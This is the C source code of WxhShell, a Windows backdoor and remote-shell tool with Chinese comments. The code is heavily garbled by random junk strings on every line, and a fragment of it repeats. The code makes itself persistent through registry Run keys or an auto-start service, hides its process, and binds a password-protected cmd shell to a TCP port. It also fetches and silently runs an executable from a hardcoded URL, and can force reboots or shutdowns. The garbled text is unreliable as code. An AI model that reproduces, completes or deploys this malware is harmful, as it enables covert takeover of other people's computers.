'; ULONG InheritedFromUniqueProcessId; xC3h m } PROCESS_BASIC_INFORMATION; {1 VHz])I T1$fu(f PROCNTQSIP NtQueryInformationProcess; BZS%p ?q^o|Y/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K|i:tHF]@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V=$pXpro% 9CBKU4JQ HANDLE hProcess; r7Vt,{4/ PROCESS_BASIC_INFORMATION pbi; t>hoXn^- tcDWx:Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t0*kL. if(NULL == hInst ) return 0;
fQW1&lFT 0P{^aSxTP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U2v;[ >=] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [HRry2#s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \a<7DTV e"Y ( 7< if (!NtQueryInformationProcess) return 0; :;Lt~:0b~ CbvP1*1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Lck55V+Q if(!hProcess) return 0; v'Y0|9c &a;{ed1B if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !,Ou:E?Bb uDtml$9rN CloseHandle(hProcess); Vd+qi~kA zd%n)jlwR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :B^YK]. if(hProcess==NULL) return 0; X;e=d+pw _f5>r (1Q HMODULE hMod; 7aF'E1e'3 char procName[255]; U yb -feG unsigned long cbNeeded; ,/fB~On- QN4{xf:}S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BlLK6"gJT /9SEW!E CloseHandle(hProcess); Z\YCjs% B$ =oU if(strstr(procName,"services")) return 1; // 以服务启动 /)%$xi Kw%to9eh) return 0; // 注册表启动 (:(Imk;9 } _i3?;Fds M]Kxg; // 主模块 tPp9=e2[s int StartWxhshell(LPSTR lpCmdLine) I cJy$+ { ;[qA?<GJ SOCKET wsl; <?2g\+{s9 BOOL val=TRUE; CXQ +h int port=0; 5dvP~sw struct sockaddr_in door; WyA`V C !W\za0p if(wscfg.ws_autoins) Install(); o+],L_Ab {yzo#"4Oy port=atoi(lpCmdLine); |o@xWs@m Ub,5~I+` if(port<=0) port=wscfg.ws_port; ,`pUz[wl T`zUgZ] WSADATA data; x/S:)z%X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mm
dQ\\ z|M+
FHl$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )%+7"7. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gzMp&J door.sin_family = AF_INET; |e QwI& door.sin_addr.s_addr = inet_addr("127.0.0.1"); kTW[) door.sin_port = htons(port); 3>T2k } A"3"f8P8a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3(oB[9]s closesocket(wsl); J16t&Ha` return 1; @<TC+M5! } M?S&@\}c im-XP@< if(listen(wsl,2) == INVALID_SOCKET) { Z[ 53cVT^ closesocket(wsl); APJVD- return 1; !MyCxM6 } 9cIKi#Bl Wxhshell(wsl); p!o?2Lbiw WSACleanup(); F(;=^w Leu93f2 return 0; NiSyb yR$ _x` oab0@ } 8{-
*Q(=/ \H4$9lPk // 以NT服务方式启动 1CR)1H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F"^/R { f-BPT2U+ DWORD status = 0; T;M4NGmvd DWORD specificError = 0xfffffff; TFZxk "$I8EW/1 serviceStatus.dwServiceType = SERVICE_WIN32; FyhLMW3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; O<`N0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }~#Tsv serviceStatus.dwWin32ExitCode = 0; 6no&2a|D serviceStatus.dwServiceSpecificExitCode = 0; ~LF/wx> serviceStatus.dwCheckPoint = 0; uj~(r=% serviceStatus.dwWaitHint = 0; >^~W'etX| 9 gc0Ri[4m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4n0Iw I if (hServiceStatusHandle==0) return; Krd0Gc~\|
wBlo2WY status = GetLastError(); wZg~k\_lF if (status!=NO_ERROR) {00Qg{;K| { 8zO;=R A7% serviceStatus.dwCurrentState = SERVICE_STOPPED; X/f?=U serviceStatus.dwCheckPoint = 0; vnx+1T serviceStatus.dwWaitHint = 0; M\A6;dz' serviceStatus.dwWin32ExitCode = status; `]I p`_{ serviceStatus.dwServiceSpecificExitCode = specificError; r>lo@e0G SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ew )1O9f return; *5KDu$'(e } Rd;^ fBx 'j9x(T1M1 serviceStatus.dwCurrentState = SERVICE_RUNNING; 8\S$iGd serviceStatus.dwCheckPoint = 0; s^"*]9B" serviceStatus.dwWaitHint = 0; zXW)v/
ZD
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &a'mh } a|-ozBFR 1wy?<B.f // 处理NT服务事件,比如:启动、停止 ~,Kx"VK VOID WINAPI NTServiceHandler(DWORD fdwControl) X?$"dqA { 7S{yKS switch(fdwControl) pS~=T}o { {%D4%X< case SERVICE_CONTROL_STOP: IP!`;?T= serviceStatus.dwWin32ExitCode = 0; W.(Q
u-AE( serviceStatus.dwCurrentState = SERVICE_STOPPED; > ofWHl[- serviceStatus.dwCheckPoint = 0; WS.lDMYE7 serviceStatus.dwWaitHint = 0; QKI g5I- { MmQk@~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); >ra)4huZ } V
X.9mt return; Aj*|r
case SERVICE_CONTROL_PAUSE: GGU>={D) serviceStatus.dwCurrentState = SERVICE_PAUSED; {#,?K break; T2_b5j3i case SERVICE_CONTROL_CONTINUE: E/hO0Ox6 serviceStatus.dwCurrentState = SERVICE_RUNNING; Y^QG\6q break; $#-O^0D case SERVICE_CONTROL_INTERROGATE: @6Z6@Pq(xQ break; b"y4-KV }; .wPI%5D SetServiceStatus(hServiceStatusHandle, &serviceStatus); {XH3zMk[ } k !V@Q!>, K2gF;( // 标准应用程序主函数 Z4dl'v)9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pwVaSnre` { 39bw,lRPV =@P]eK/ // 获取操作系统版本 G4^6o[ x OsIsNt=GetOsVer(); E/2_@&U:} GetModuleFileName(NULL,ExeFile,MAX_PATH); [JEf P/n|. AEd9H
+I // 从命令行安装 9z+ZFIf7d if(strpbrk(lpCmdLine,"iI")) Install(); :pLaxWus! +t8#rT ^B // 下载执行文件 A3.*d:A if(wscfg.ws_downexe) { n^Q-K}!T/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O jH"qi WinExec(wscfg.ws_filenam,SW_HIDE); s;#,c( } S])*LUi t{e}3}LEd if(!OsIsNt) {
t;}`~B // 如果时win9x,隐藏进程并且设置为注册表启动 )T@?.J` HideProc(); j/F:j5O* StartWxhshell(lpCmdLine); sn8l3h) } Q>I7.c-M| else SM4'3d&mf if(StartFromService()) fW$1f5g" // 以服务方式启动 p@eW*tE StartServiceCtrlDispatcher(DispatchTable); C,B{7s0- else mM'uRhO+ // 普通方式启动 mZ g' StartWxhshell(lpCmdLine); C6qGCzlG` A+KpECP return 0; -ZoAbp$ } =vsvx{o? a>&dAo} Zd]ua_)I%[ M63t4; 0A =========================================== 23X-h#w NbK67p: ^fP5@T*f ir~4\G! |(=b 0*]ZC'pm " G_#MXFWt a&Me#H{ #include <stdio.h> }[y_Fr0 #include <string.h> 6('CB|ga #include <windows.h> T2 TWb #include <winsock2.h> jxZ_-1 #include <winsvc.h> |=[._VH1 #include <urlmon.h> @xr}(. jP.dQj^j& #pragma comment (lib, "Ws2_32.lib") G[]h1f! #pragma comment (lib, "urlmon.lib") C_&ZQlgQ K@?K4o
#define MAX_USER 100 // 最大客户端连接数 {a,U{YJ\H
#define BUF_SOCK 200 // sock buffer 1aezlDc* #define KEY_BUFF 255 // 输入 buffer {[bB$~7Eu v7<r-<I[ #define REBOOT 0 // 重启 p3qKtMs0! #define SHUTDOWN 1 // 关机 g6@^n$Y *t`=1Ioj #define DEF_PORT 5000 // 监听端口 k/i&e~! \ Ej<`HbJ'Q #define REG_LEN 16 // 注册表键长度 .SDE6nvbW #define SVC_LEN 80 // NT服务名长度 MC1&X' @DKph!cr // 从dll定义API x??H%'rP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p-h(C'PqF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PJAM_K; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K/$5SN1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Hz;*1?$k w$aejz`[ // wxhshell配置信息 >:0^v'[ struct WSCFG { =WK's8FB;8 int ws_port; // 监听端口 "Mh}n-oju char ws_passstr[REG_LEN]; // 口令 |Ew&. fgz int ws_autoins; // 安装标记, 1=yes 0=no oN,9#*PVL char ws_regname[REG_LEN]; // 注册表键名 !T.yv5ge' char ws_svcname[REG_LEN]; // 服务名 zANsv9R~ char ws_svcdisp[SVC_LEN]; // 服务显示名 {( Ba char ws_svcdesc[SVC_LEN]; // 服务描述信息 e!w#{</8Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i<!1s%i} int ws_downexe; // 下载执行标记, 1=yes 0=no T/tC X[} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R#Z
m[S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6%&DJBU! awSi0*d~ }; J!H)[~2/ _xM3c&VeG // default Wxhshell configuration 7b(r'b@N struct WSCFG wscfg={DEF_PORT, $Zj3#l:rK "xuhuanlingzhe", @eP(j@(^ 1, 8aVj@x$' "Wxhshell", Z& bIjp "Wxhshell", 1~S''[ "WxhShell Service", 0NXaAf:2Z "Wrsky Windows CmdShell Service", oTveY "Please Input Your Password: ", UW&K\P 1, vkLyGb7r< "http://www.wrsky.com/wxhshell.exe", E0eZal], "Wxhshell.exe" 1$ENNq#0 }; -Zqw[2Q4 c@$W]o"A // 消息定义模块 L"}2Y3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \cQ+9e) char *msg_ws_prompt="\n\r? for help\n\r#>"; .]/k#Hv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3A3WD+[L char *msg_ws_ext="\n\rExit."; ygxaT"3"= char *msg_ws_end="\n\rQuit."; RggO|s+0;
char *msg_ws_boot="\n\rReboot..."; |&~);>Cq2 char *msg_ws_poff="\n\rShutdown..."; wvH*<,8Vq char *msg_ws_down="\n\rSave to "; '&Tz8.jp~ nM`pnR_ char *msg_ws_err="\n\rErr!"; uk3PoB^> char *msg_ws_ok="\n\rOK!"; q5.5%W ^geY Ay char ExeFile[MAX_PATH]; F ZN}T{< int nUser = 0; 5G=fJAG HANDLE handles[MAX_USER]; zS `>65}e int OsIsNt; > (W\Eh{J E :UJ"6 SERVICE_STATUS serviceStatus; j:0<
tjE SERVICE_STATUS_HANDLE hServiceStatusHandle; ~(eD 4" vH@b // 函数声明 G4"n`89LK int Install(void); Se[>z( int Uninstall(void); k!!d2y6 int DownloadFile(char *sURL, SOCKET wsh); L/,M@1@R int Boot(int flag); Kk>va->R void HideProc(void); #^w8Y'{? int GetOsVer(void); vZIx> int Wxhshell(SOCKET wsl); :~~\{fm void TalkWithClient(void *cs); :-j/Y'H_ int CmdShell(SOCKET sock); /Tp>aW%}" int StartFromService(void);
QLZ%m $Z int StartWxhshell(LPSTR lpCmdLine); N._^\FRyn (n2=.9k! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [L?WM>]% VOID WINAPI NTServiceHandler( DWORD fdwControl ); V QbKrnX r:,"k:C // 数据结构和表定义 FwDEYG SERVICE_TABLE_ENTRY DispatchTable[] = .FvIT]k- { IDp2#qg_ {wscfg.ws_svcname, NTServiceMain}, LF!S`|FF {NULL, NULL} MYUL y2) }; Z`ZML+;~6 XpdjWLO]C< // 自我安装 SKJ'6*6 int Install(void) xsg55` { "Wy!,RH char svExeFile[MAX_PATH]; K?=g
IC: HKEY key; 1fV\84m^ strcpy(svExeFile,ExeFile); oi%IHX(` xgWVxX^) // 如果是win9x系统,修改注册表设为自启动 D}?JX5. if(!OsIsNt) { wArzMt}[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '^BTa6W}m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _j]vR RegCloseKey(key); _+qtH< F/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V/J-zH& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A~8-{F 31 RegCloseKey(key); p:Zhg{sF return 0; }QJ6"s
} "SV/'0 } jo"zdb } nc:K!7: else { J_&G\b.9/ {Yv5Z.L&( // 如果是NT以上系统,安装为系统服务 cN|
gaL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BSg3 if (schSCManager!=0) :BUr8%l { ExSy/^4f SC_HANDLE schService = CreateService
JjHQn=3AJ ( ?YnB:z*eV schSCManager, Edl .R}&1 wscfg.ws_svcname, zC!Pb{IaH wscfg.ws_svcdisp, N)X51;+ SERVICE_ALL_ACCESS, ,>3|\4/Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Ka :i> SERVICE_AUTO_START, } BnPNc[I SERVICE_ERROR_NORMAL, O_&Km[ svExeFile, ]dnB, NULL, Xl/2-'4 NULL, %F] :nk` NULL, 7niI65 NULL,
-to 3I NULL ^j7]> I ); "=* if (schService!=0) U_5\FM { <nF1f(ky CloseServiceHandle(schService); &=laZxe CloseServiceHandle(schSCManager); UvVq# <- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f/g-b]0 strcat(svExeFile,wscfg.ws_svcname); Cx
;n#dn* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [K `d?& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LS4E.Xdn RegCloseKey(key); ^vo]bq7 return 0; $e,'<Jl } $%5!CD1) } DZV U!J CloseServiceHandle(schSCManager); oqy}?<SQ } NV9H"fI } ),f d, <O]B'Wc [ return 1; =kn-F T } \> q#.+P1"U // 自我卸载 P6;Cohfh int Uninstall(void) p}h9>R { rTM0[2N HKEY key; YMn_9s7< ;r3|EA35 if(!OsIsNt) { \_3#%%z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xu*dPG)v RegDeleteValue(key,wscfg.ws_regname); "$|ne[b2 RegCloseKey(key); /w:~!3Aj0+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SgY\h{{sP RegDeleteValue(key,wscfg.ws_regname); [HQ Bx`3TS RegCloseKey(key); D,,
x<JG| return 0; -P=Hp/ELi } 9E]7Etfw } NU!B|l } O:W4W=K else { Z+C&?K GsC4ty SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ri1:q.:I] if (schSCManager!=0) TS;?>J- { ^|=3sJ4[U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Uni{Z]Q) if (schService!=0) fnudu0k { |%5nV=&\ if(DeleteService(schService)!=0) { %1e{"_$O9 CloseServiceHandle(schService); hOIk6}r4X CloseServiceHandle(schSCManager); )n1 7}Qm`V return 0; 7|q _JdKoU } O@? *5 CloseServiceHandle(schService); #nJ&`woZt } Ixv/xI CloseServiceHandle(schSCManager); -gb'DN1BG } T>pz?e^5& } ^ot9Q bGa"r return 1; pn4~?Aua0/ } /&G )IY]g }
OAH/BW // 从指定url下载文件 g+M& _n int DownloadFile(char *sURL, SOCKET wsh) ,SSq4 { Z1M{5E HRESULT hr; $#d.@JWi char seps[]= "/"; L=5Fvm char *token; t+Hx&_pMj char *file; %%f(R7n char myURL[MAX_PATH]; >X-*Hu'U# char myFILE[MAX_PATH]; ,{u'7p \o{rw0w0 strcpy(myURL,sURL); /a:L"7z token=strtok(myURL,seps); z+%74O"c while(token!=NULL) 2Jc9}|, { dX5|A_Ex file=token; Rz!! ;<ye8 token=strtok(NULL,seps); ELQc:
t
-2 } odC}RdN +a((,wAN2 GetCurrentDirectory(MAX_PATH,myFILE); #gY|T| strcat(myFILE, "\\"); 0@dN$e strcat(myFILE, file);
6i_dL|c send(wsh,myFILE,strlen(myFILE),0); !0
-[}vvU send(wsh,"...",3,0); '7TT4~F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d3K-| if(hr==S_OK) ,7|Wf
%X return 0; Z7Xic5PI{4 else eFdN"8EW return 1; WHvU|rJ \Yd
0oe82 } +2S#3m?1 )90K^$93" // 系统电源模块 R
SqO$~ int Boot(int flag) 'or8CGr^p { !`EhVV8u-_ HANDLE hToken;
C#4/~+ TOKEN_PRIVILEGES tkp; caC(KK#< O\KSPy7YQ if(OsIsNt) { N(BCe\FV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `<^1Ik[g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3WQ"3^G tkp.PrivilegeCount = 1; 2rJeON tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bjYaJtn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Do#e
{=+ if(flag==REBOOT) { 2OQDG7#Kc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B!zqvShF return 0; JypXQC}~ } j: /cJt else { N"q C-h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e3b|z.^ 8
return 0; 6`l7saHXE } WYNO6Xb#: } f:|O);nM else { hXx. if(flag==REBOOT) { ?\$\YX%/p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [.`%]Z( return 0; q^k]e{PD } @ME
. else { N_Y*Z`Xb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /l@h[}g+d- return 0; 2>!?EIE7 } EU"J'? } CiSl0 Yab=p
9V;; return 1; ~ GW8|tw } "~HV!(dRMC '{(/C?T // win9x进程隐藏模块 xMAb=87_
void HideProc(void) cXo^.u { auS.q5
% q=40l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1-bQ
( - if ( hKernel != NULL ) n%YG)5; { 1_z6O!rx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;c;n.o.)/# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5pI=K/- FreeLibrary(hKernel); `Ufv,_n } Vdz(\-}ao GxR, 3 return; {BlKVsQ } Ud8*yB ';hTGLq\X // 获取操作系统版本 oz- k_9% int GetOsVer(void) 9?_ybO~Oq { OnKPD=< OSVERSIONINFO winfo; AZTn!hrU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _p`@/[(| GetVersionEx(&winfo); s"solPw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bG6<=^ return 1; +$x;FT& else w>W`8P_b@ return 0; f;"6I } 4fCg{ -=A W. Zo // 客户端句柄模块 ;dh8|ujh int Wxhshell(SOCKET wsl) \O7Vo<B&D { KZxA\,Y'5 SOCKET wsh; ,LHQ@/}A C struct sockaddr_in client; mzX <! DWORD myID; GqrOj++> A|esVUo<3^ while(nUser<MAX_USER) 9IRvbE~2 { _\tGmME37 int nSize=sizeof(client); GK/Q]}Q8pZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U8b1
sz if(wsh==INVALID_SOCKET) return 1; J '^xDIZX *KXg;777 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Jtx9P if(handles[nUser]==0) 6^DsI closesocket(wsh); ;I+"MY7D else b:iZ.I nUser++; MK<VjpP0( } 9A4h?/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @-ma_0cZQ p~sfd return 0; OZ$"P<X_" } ]%y~cq D-8>?`n\ // 关闭 socket BI\+NGrB void CloseIt(SOCKET wsh) y ;4h'y># { R "&(Ae?LR closesocket(wsh); /Lc=
K< nUser--; 2z\4?HJy ExitThread(0); 7Pc0|Z/ } w$5N6 {xC CUU // 客户端请求句柄 'ZHu=UT7_ void TalkWithClient(void *cs) WLAJqmC] { >Ufjmm${ ;
-RhI_ SOCKET wsh=(SOCKET)cs; W].P(A>m char pwd[SVC_LEN]; ,Dz2cR6 char cmd[KEY_BUFF]; x,Cc$C~YP char chr[1]; a*pZcv< int i,j; %acy%Sy B=;pyhc while (nUser < MAX_USER) { =oF6|\]{; ZHshg`I` if(wscfg.ws_passstr) { Te8BFcJG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); id-VoHdK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hr$oT=x[ //ZeroMemory(pwd,KEY_BUFF); RTSR-<{z i=0; {}3kla{ while(i<SVC_LEN) { /)i)wxi T$]2U>=<J // 设置超时 /p
[l(H fd_set FdRead; 8j,_ struct timeval TimeOut; f/b }X3K FD_ZERO(&FdRead); -?b@ 6U FD_SET(wsh,&FdRead); >EMgP1 TimeOut.tv_sec=8; 1q!JpC^ TimeOut.tv_usec=0; f= }Mr8W' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eh'mSf^=p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y0qE::/H$ vtFA#})~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oT5xe[{yj pwd=chr[0]; Ss u{Lj if(chr[0]==0xd || chr[0]==0xa) { TKc&yAK pwd=0; ED/-,>[f break; tji,by#E/% } !dLz ?0 i++; mm=Y(G[_%y } ucj )t7O Yf:utCvv // 如果是非法用户,关闭 socket Kfj*uzKB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <LW|m7 } $Yz &x%Lb HHZ!mYr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kXC.rgal send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bE>3D#V< ABV\:u while(1) { ,l<-*yMD z1+rz% ZeroMemory(cmd,KEY_BUFF); 1#qCD["8 Hcd> \0 // 自动支持客户端 telnet标准 i&,U);T j=0; ~,e!t.339 while(j<KEY_BUFF) { t%z7#}9$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IQ{Xj3;?y cmd[j]=chr[0]; V8&/O)} o if(chr[0]==0xa || chr[0]==0xd) { L1Q QU cmd[j]=0; ]@J}f}Mjo break; @`.u"@ } !BEOeq@2. j++; A2&&iL=j/ } =zA=D.D2 |->y'V // 下载文件 F.8{
H9` if(strstr(cmd,"http://")) { w=e,gNO send(wsh,msg_ws_down,strlen(msg_ws_down),0); N0RFPEQ~ if(DownloadFile(cmd,wsh)) , m|9L{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |V9%@
Y? else wHZ!t,g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R~*Y@_oD } *A\NjXJl~ else { 0HD1Ob^@ 5,AQ~_,'\ switch(cmd[0]) { ,f?#i%EF& Ql*/{#$ // 帮助 z3*G(, case '?': { Mty]LMK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J#V`W&\,6 break; |>3a9] } x}x@_w // 安装 }2c}y7B,_ case 'i': { b$R>GQ?# if(Install()) , D1[}Lr=K send(wsh,msg_ws_err,strlen(msg_ws_err),0); jZ
D\u% else aJ)5 DlfLR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V2FE|+R%g break; M<$l&%<`G } ` `;$Kr // 卸载 MZjiJZaO:L case 'r': { Mqh~ 5NM if(Uninstall()) F[=m|MZb send(wsh,msg_ws_err,strlen(msg_ws_err),0); |C&eH$?~=R else 3Xh&l[. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [S4\fy0 break; *VlYl" } hYd8}BvA // 显示 wxhshell 所在路径 |16
:Zoq case 'p': { ESrWRO
f9 char svExeFile[MAX_PATH]; X3m?zQbhv strcpy(svExeFile,"\n\r"); *Ra")(RnDK strcat(svExeFile,ExeFile); n&C9f9S send(wsh,svExeFile,strlen(svExeFile),0); zRJy3/> break; k(qQvn } Wq9s[)F"Z // 重启 ?^ErrlI_ case 'b': { #P9VX5Tg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
^,KR 0 if(Boot(REBOOT)) FoG<$9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5nj~RUK else { b<( W}$x closesocket(wsh); )(L&+DDy ExitThread(0);
<@vE3v; } ;ZqFrHI M` break; AX,Db%`l, } tJu<#hX // 关机 sMS`-,37u case 'd': { "G,*Z0V5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3QHZC0AY if(Boot(SHUTDOWN)) {PVu3W send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,){0y%c#y else { $Tur"_`I; closesocket(wsh); .E}});l ExitThread(0); aXJe"IT.u } Y@4vQm+ break; XP` kf]9 } v4zd
x) // 获取shell 5,c` case 's': { u9gr@06 CmdShell(wsh); *"CvB{XF&Z closesocket(wsh); lhI;K4# ExitThread(0); I coL/7k3 break; Td F< } ~+np7 // 退出 ".0W8= case 'x': { H\k5B_3OU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >eTlew<5 CloseIt(wsh); CbHNb~ break; <M7*N. } j%}Jl // 离开 xK r,XZu case 'q': { |d 3agfS[n send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Z:PB%d5 closesocket(wsh); "XY?v8*c WSACleanup(); +n, BD C; exit(1); w?tKL0c break; o/zCXZnw# } X2uX+}h*tA }
[dJ\|= } r9Z/y*q u7=[~l&L // 提示信息 'JMa2/7CG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $aA.d^ } K(d!0S } \$C4H SHk[X ]Uo return; +Y~+o-_ } W =zG g=C<E2'i* // shell模块句柄 |u{QI3#' int CmdShell(SOCKET sock) +mA=%?l { 4B]61|A STARTUPINFO si; v/czW\z ZeroMemory(&si,sizeof(si)); fI1;&{f si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Du>HF;Fv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3I5WDuq PROCESS_INFORMATION ProcessInfo; 88>Uu!M=f char cmdline[]="cmd"; &XsLp&Do2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QVW6SY return 0; !T*B{+| } <yS"c5D6 hQm4R]a // 自身启动模式 m=MT`-: int StartFromService(void) BB.TrQM.# { a+/|O*># typedef struct X6.O; { :xPvEK[B7 DWORD ExitStatus; ^eW.hNg DWORD PebBaseAddress; ?X'*
p<` DWORD AffinityMask; ?i~/gjp
DWORD BasePriority; }BJ1#< ULONG UniqueProcessId; 5Mr;6
]I< ULONG InheritedFromUniqueProcessId; {_Qxe1^g } PROCESS_BASIC_INFORMATION; / D ]B W6O.E PROCNTQSIP NtQueryInformationProcess; ikhX5
&e ku;nVV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l,u{:JC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V@:=}*E ^qqHq HANDLE hProcess; ?Q)Z..7 PROCESS_BASIC_INFORMATION pbi; winJ@IY W C/waH[Yzan HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UWp8I)p!\O if(NULL == hInst ) return 0; l _O~v? DH9?2)aR g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Ls I<z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -^H5z+"^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |V\.[F2Fe *'YNRM\} if (!NtQueryInformationProcess) return 0; 1ckw[ 0d ;CMC`h9, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 